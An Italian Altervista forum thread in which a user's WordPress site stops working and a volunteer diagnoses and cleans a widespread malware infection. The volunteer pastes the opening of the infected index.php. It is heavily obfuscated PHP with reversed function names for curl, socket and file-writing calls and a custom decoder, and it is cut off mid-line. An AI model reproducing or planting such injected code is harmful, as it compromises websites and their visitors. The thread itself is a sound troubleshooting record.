Avere supporto in Wordpress Altervista

Buonasera a tutti, è da una settimana che mi sono reso conto di avere problemi con il mio sito. Apparentemente ha fattu tutto da solo, l'ho lasciato che funzionava e senza far null'altro mi ricollego e vedo che non funziona...visto che questa community non è solo per smanettoni super esperti ed è anche l'unico modo per avere supporto in wordpress altervista, c'è qualche santo disposto a darmi una mano?? E' abbastanza frustrante non poter accedere al proprio sito e non trovare risposte da nessuno. Se possibile non vorrei perdere tutto il lavoro fatto. Il sito è www.networkeconomy.it

grazie

AV non fornisce supporto ma usa questo forum dove quasi sempre si hanno risposte.
Descrivi dettagliatamente il problema, magari ti si può dare una mano.

Quando si va sul mio sito compare il messaggio qui sotto:
/** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );


Ovviamente ripeto che prima funzionava e senza che facessi niente mi ha dato questo messaggio.

Nessuno risponde?

[LastWings]

Dalla cache di google vedo che nella home era tutto in giapponese, ma vedo anche che la versione di wordpress era WordPress 3.9.14, molto datata.

Non so cosa ci fosse prima dentro al sito e se quello che vedo dalla cache di google fosse l'effettivo contenuto, ma non credo, visto che google mi da "Questo sito potrebbe essere compromesso."

[darkwolf]

Sembra un problema al file index.php
https://it.wordpress.org/forums/topi...cesso-al-sito/


Cioè, questo è il tuo index.php http://torosca.altervista.org/index.php
E l'index.php non deve rilasciare quest'output!

Controlla che sia valido (completo e con regolari permessi).
Se incompleto, sistemalo da backup o download.

Poi vediamo se si risolve o ci sono altri problemi (eg: versione obsoleta o altre cause).

Edit: anche altri file.php hanno lo stesso comportamento (molto grave - persino file della cartella admin)!
Probabilmente c'è un serio problema con i permessi e/o con il file di configurazione di wordpress.

Dalla cache di google vedo che nella home era tutto in giapponese, ma vedo anche che la versione di wordpress era WordPress 3.9.14, molto datata.

Non so cosa ci fosse prima dentro al sito e se quello che vedo dalla cache di google fosse l'effettivo contenuto, ma non credo, visto che google mi da "Questo sito potrebbe essere compromesso."

Credo che si sia tutto originato da un aggiornamento del sito ma deve essere stata una cosa successiva perchè prima funzionava perfettamente, vedevo anche l'articolo appena pubblicato. Da ftp posso fare un ripristino di una versione backuppata? Come si fa? grazie

Sembra un problema al file index.php
https://it.wordpress.org/forums/topi...cesso-al-sito/


Cioè, questo è il tuo index.php http://torosca.altervista.org/index.php
E l'index.php non deve rilasciare quest'output!

Controlla che sia valido (completo e con regolari permessi).
Se incompleto, sistemalo da backup o download.

Poi vediamo se si risolve o ci sono altri problemi (eg: versione obsoleta o altre cause).

Edit: anche altri file.php hanno lo stesso comportamento (molto grave - persino file della cartella admin)!
Probabilmente c'è un serio problema con i permessi e/o con il file di configurazione di wordpress.

Grazie, come posso fare per reinstallare tutto da un backup?

[LastWings]

Se hai una versione di backup salvata, database e files, per i files, ti basterà eliminare quello che attualmente c'è sul sito e sostituirlo con quelli in tuo possesso, per il database invece accedendo da phpmyadmin sostituirai quello che c'è con il dump che hai salvato.

[darkwolf]

Verifica anche nel pannello (macchina del tempo)... Magari ce l'avevi attiva e hai qualche backup utile.

Verifica anche nel pannello (macchina del tempo)... Magari ce l'avevi attiva e hai qualche backup utile.

Ragazzi/e non riesco a risolvere il problema. Il file index.php ho provato a sostituirlo con altri file presi dai forum dove veniva suggerito di modificarlo ma non funziona.

Chiedo cortesemente a qualche anima pia di aiutarmi perchè non vedo vie di uscita. Sono disposto anche a cancellare tutto ma non trovo i backup!! C'è solo il backup del database ma non dell'intero sito, eppure avevo installato dei plugin per avere i backup ma potendo accedere solo ai file di configurazione non li trovo. Per favore datemi una mano...

[darkwolf]

Suppongo non si tratti di alterblog (altrimenti basterebbe il,ripristino).
Quindi, prima di fare altri danni, backup della condizione attuale (file e database)!!!

Poi si procede, eventualmente, con upgrade manuale dell'installazione (così, se tutto va bene, ti ritroverai wp 4.7 e tutti i tuoi articoli/utenti).

Suppongo non si tratti di alterblog (altrimenti basterebbe il,ripristino).
Quindi, prima di fare altri danni, backup della condizione attuale (file e database)!!!

Poi si procede, eventualmente, con upgrade manuale dell'installazione (così, se tutto va bene, ti ritroverai wp 4.7 e tutti i tuoi articoli/utenti).

Ho provato a seguire tutte le istruzioni che mi sono state date…non c’è stato verso di riuscire a ripristinare il sito.
Ora le opzioni che ho sono:

1) Chiedo a a darkwolf, visto che dalla sua firma a piè di pagina si evince che offre assistenza a pagamento, quanto è la sua parcella per darmi una mano a ripristinare il sito che DA SOLO ha avuto problemi
2) Ovviamente non essendo un professionista (wordpress non si rivolge anche a persone come me?) posso anche fare a meno di ripristinare il sito spendendo una non precisata somma di denaro con la possibilità che un domani mi ricapiti per motivi altrettanto ignoti come lo sono stati questa volta. Nonostante il sito mi sia costato tempo e denaro da tirar su. In tal caso credo che smettero di rivolgermi a Altervista e il motivo è semplice. Il supporto. Non posso affidarmi a un provider che promette di semplificare la redazione di un sito ma che mi fornisce supporto solo tramite forum, dove le risposte a volte sono imprecise, lacunose, approssimative e veloci. E’ assurdo in tutta questa storia che il sito abbia smesso di funzionare DA SOLO. E chi mi dice che qualcuno non si diverta a diffondere malaware nei siti appositamente per farsi ingaggiare per il ripristino. Non so, semplici considerazioni di una persona un po’ arrabbiata che da settimane non trova una soluzione e non riesce ad accedere in nessun modo alla sua interfaccia di gestione del sito per disabilitare eventuali plugin o per provare altri tentativi.

A presto!

[darkwolf]

Ho difficoltà ad immaginare quale può essere ul problema e dunque, sinceramente, non so se si tratta di una questione di 5minuti o di 5ore.
Prova a passarmi un accesso ftp via messaggio. Io farò qualche verifica (prima backup) e poi vediamo se riesco a risolvere e/o a reinstallare senza perdere i dati attuali.

Ti ho inviato una richiesta di amicizia, appena accetti ti mando tutto. Senza l'amicizia non mi fa inviare messaggi privati. Accettando credo di si.

[darkwolf]

Questo il tuo attuale index.php (codice presente in molti file).

<?php @'$
x1=4138
x2=16056 
x3=index.php/ 
x4=#
x5=iregEHIBilololoDOpET
x6=diversion,truck,auscultation,pathologic,formation,mos,poultice,athletic,specifics,burn,scion,multiple,philippic,idle,nigeria,manage,patience,welcome,dint,got
x7=burn,robot,formation,athletic,uncommon,dint,auscultation,nigeria,scion,conduct
x8=
x9=
x10=0
x11=0
x12=1
x13=1
x14=B-D/C-01.hed
';$O0OO0O000OO=explode("1l","edolpmi1lcexe_lruc1lrhc1legrem_yarra1lsstegf1lyreuq_dliub_ptth1ldro1lemanesab1lmanpmet1lcedxeh1ltilps_rts1lridkm1leuqinu_yarra1lyarra_ni1lsopirts1lr_tnirp1llru_esrap1lhtaplaer1lbolg1ldomhc1lezilairesnu1lpop_yarra1llavtni1ltressa1lesolcf1lnoitcnuf_etaerc1lnepof1lstnetnoc_teg_elif1lnoitcnuf_nwodtuhs_retsiger1ledocnelru1lecalper_rts1lemanrid1lhcraes_yarra1lstnetnoc_tup_elif1ltrats_bo1lkcabllac_ecalper_gerp1ltcennoc_tekcos1lciremun_si1lrorre_lruc1ltimil_emit_tes1lemanybtsohteg1ledoced_ytitne_lmth1ldnar_tm1ledolpxe1lmirt1ltpotes_lruc1lesolc_tekcos1lstegf1lroolf1lsgat_pirts1lecalperi_rts1lgnikcolb_tes_maerts1ledocedlru1lftnirps1lseulav_yarra1ltcartxe1lfoef1lofniphp1llla_hctam_gerp1lhctam_gerp1lyarra_si1lstsixe_elif1ltfihs_yarra1lrewolotrts1lesolc_lruc1ldaerf1lliec1ldaer_tekcos1ltrosu1l31tor_rts1lredaeh1ltuoemit_tes_maerts1lelffuhs1ltneilc_tekcos_maerts1lknilnu1lsehsalscdda1lteser1legnar1lelifdaer1lsoprts1lseludom_teg_ehcapa1ltsrifcu1latad_atem_teg_maerts1letirwf1lpeelsu1lesrever_yarra1lrtsbus1letirw_tekcos1lnioj1ltnuoc_rtsbus1lrid_pmet_teg_sys1lnelrts1l5dm1ltini_lruc1lecalper_gerp1ltnuoc1lpilf_yarra1lstsixe_noitcnuf1ldnar_yarra1lelbatirw_si1ltilps_gerp1letad1lreppuotrts1ldnuor");foreach($O0OO0O000OO as&$O000O0OO){$O000O0OO=preg_split("//",$O000O0OO,-1,PREG_SPLIT_NO_EMPTY);$O000O0OO=implode("",array_reverse($O000O0OO));};$OO0O0000O0=__FILE__;$OO0OO0OOOOO=explode("Q","OOOOO0OOOOQOOO0O00O0000OQO00OOO000OQOOO00OOO0OO0OQOOOO0O00O0OO0QO0OO0O000QO0000O000QOO0OO0000000OQOO0OOOOO0OQOOO00OOO0O0QOO0O0O00OOQO000OO00O0QOO0000O0QO000O000QOO0O00O0OQOO0OO0000QOOO0OOO0O0O00QO000OO00QOOOOO00000QOOOO0OO0OQO0O0OOO0OO0QOO0OO0O00OQOOOOOO0000OQO000OO0O00QOO00OO000O00OQOOO00OOOQOO0O000QO0O00O0O0OQOO0O00OOO0OOQO0O00O00000OQO0OO0OOOOO0QOOO00O0O0OO0OQO000O0OOOOO00QO0O0OO0O0OOO0QO0O000OOO00OOQO0000000OQO0OOOOOOO0QOO0O0O000OO0OQOOOOO0OOO00OQOOOO0OOOO00QOO0O0OOOOOQOOOOOOQOO0O0O0OOOQOO00OOOOOOOQOO0000OOQO000000O00OQO0O00O0QOO0O0O00O00OQOOOO0OO0000QOOO000QO0O0OO00OOQOOO0OOO000QO00OOOOO00QOO00OOQOO000000OOOQOO00OOO000QO00OOO00OOQOOOO0OOO0OQO0000000QO00O0O0OQOO0O0O0QOOO0O0OOQOOOO00OOQO00OOO000OO0OQO0O0OO00O0OQOO0O00000O000QOOOOO00QOOO0O0O0OOOQOO0O00OO0OQOO00O0O00O0OQOOO0OOOOO00QOOOO000OOO0OQOOOOOO0OQO0OO000OO0OQOO0O0O00O00OOQOOO00O00QO00OO000QO0O0O00QOOOOOOOO00OOQOOO0O00OOOQOOO0O00OO0QOO0OO0O0OO0QOO00OOOOO0OOOQOOOOOO00O0QOO00O0OO00OOQOO0O0O0OQOO00O0OO00O0QOOO0OOO0000OQOOO000O0O0O0QO00OOO0OOO0OQO0000QO0OO00OOOQO00O0OOOOOQO0OOOO0000QO00OOO00QOO0O00OO000OQOOO0O000QO000000QO0O000QO0O0OO0OQOO00O0OOOOQO00O0OOO0OOQOOOOOO0OO00OOQO0O00O0O000O0");foreach($OO0OO0OOOOO as$O0O0OO0OO00OO=>&$O00000O0OO0){$$O00000O0OO0=$O0OO0O000OO[$O0O0OO0OO00OO];};$OO0=${"G\x4cO\x42\x41\x4c\x53"}["\x4f\x4fO\x30\x30O\x4f\x4f"]('$O00OO0000O','$O0O00OO000O="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=$";$O0O0000=$O00OOO00000OO=$OOOOOOO00="";$O00OO00=$O0O00O=$OO0OO0O=$O0="";$OO0OOOOOOO=0;$O000000O0O000="";$O00OO0000O=${"\x47L\x4f\x42\x41\x4c\x53"}["O\x30\x30\x4f\x4f\x4f\x30\x30"]("/[^A-Za-z0-9\+\/\=$]/","",$O00OO0000O);do{$O00OO00=${"\x47L\x4f\x42\x41\x4cS"}["\x4fOO\x30\x4f\x30\x30\x4f\x4f\x4f"]($O0O00OO000O,${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x4f\x30\x30\x4f\x30\x4f\x4f\x300\x4f\x30"]($O00OO0000O,$OO0OOOOOOO++,1));$O0O00O=${"\x47L\x4f\x42\x41\x4cS"}["\x4fOO\x30\x4f\x30\x30\x4f\x4f\x4f"]($O0O00OO000O,${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x4f\x30\x30\x4f\x30\x4f\x4f\x300\x4f\x30"]($O00OO0000O,$OO0OOOOOOO++,1));$OO0OO0O=${"\x47L\x4f\x42\x41\x4cS"}["\x4fOO\x30\x4f\x30\x30\x4f\x4f\x4f"]($O0O00OO000O,${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x4f\x30\x30\x4f\x30\x4f\x4f\x300\x4f\x30"]($O00OO0000O,$OO0OOOOOOO++,1));$O0=${"\x47L\x4f\x42\x41\x4cS"}["\x4fOO\x30\x4f\x30\x30\x4f\x4f\x4f"]($O0O00OO000O,${

sfido che non funziona niente!

se mi autorizzi rimuovo tutto, tenendo solo i file utili, e provo a reinstallare wordpress sulla tua attuale installazione.

[darkwolf]

È stato un parto, ma sembra risolto.
Il problema era dovuto - oltre ad una infezione parecchio estesa - anche alla mancanza di spazio (non so se a causa dell'infezione o a causa di qualche tuo script...)!
Comunque, c'era una cartella sulla root con quasi 10.000 file nascosti e con una tilde.
Ne ho visti un paio, e contenevano php criptato o simile.

Avevo iniziato a backupparli, ma dopo mezz'ora - spero di non aver sbagliato - ho rimosso con un glob in php (anche via ftp ci avrei messo un paio d'ore, e non mi andava).
Risolto il problema dello spezio ho caricato con successo uno scriptino per vedere il tuo database, ottimizzarlo, scaricarlo.
Spostato tutto in backup, ripulito il config e la cartella wp-content,
Caricato un wp-4.6.1 (avevo letto che wp4.7 non gira bene su av, quindi ho pensato fosse meglio la 4.6.1), e tutto è ripartito.

Non avendo / e non volendo creare via php / un account admin, non posso verificare che il backend e il resto funzioni, ma dovrebbe essere ok.
Al massimo lancia un upgrade per fixare la versione del database

http://torosca.altervista.org/wp-admin/upgrade.php

spero sia tutto!

installa un buon plugin di protezione e verifica che sia tutto pulito.
hai ancora alcuni backup sull'ftp.
appena hai tutto ok eliminali e recupera spazio.

---
Un esempio:


se provo a capirci qualcosa: http://www.unphp.net/decode/f93e1454...76b8f2abe2a97/
(qualcuno riesce a capirne l'utilità? @Karl?) :)

Edit: da un confronto su cca i 3000 file che ho nel backup (3000 su cca 10000 che erano sul server)... beh! son tutti uguali!!!
e virustotal dice che sono ok: https://www.virustotal.com/it/file/f...is/1482346380/

Insomma, di roba strana ce n'era, adesso risolta, ma non so spiegare cos'era!

È stato un parto, ma sembra risolto.
...

Desidero ringraziare darkwolf che ha risolto il problema non affatto banale che affliggeva il mio sito…grazie per esserti preso a cuore la causa!
Ora funziona tutto, devo fare solo qualche ritocchino, ma è poca cosa confronto alla situazione pessima di prima in cui era tutto perduto…

Grazie ancora

Gabriele

[darkwolf]

Amen.
Ritengo corretto precisare che questo non è certo un problema dovuto all'hosting e/o di competenza dell'hosting.
La sicurezza e la pulizia di un sito è a cura e discrezione dell'admin e può essere garantita solo dal costante aggiornamento e monitoraggio dello stesso.
Una condizione simile, insomma, non è certo imputabile all'host (non so se eri stato avvisato per l'assenza di spazio - suppongo di sì - oltre questo c'era nient'altro lato hosting).
Insomma: potevi essere nel miglior hosting del mondo, ma non avresti ricevuto assistenza al riguardo (al massimo ti avrebbero sospeso finché non rimediavi da te al problema contattando privatamente un tecnico/webmaster).
-
E preciso che io non faccio parte dello staff tecnico di altervista - quindi non sto scrivendo queste 4righe per discolpare o difendere nessuno ... ma giusto per concludere il topic e spiegare che non era colpa di altervista, non era di competenza di altervista, e non te lo ha risolto altervista (anche se - in effetti - hai trovato assistenza sul forum di supporto di altervista - forum che molti hosting non hanno).

Questo è quanto. Saluti :)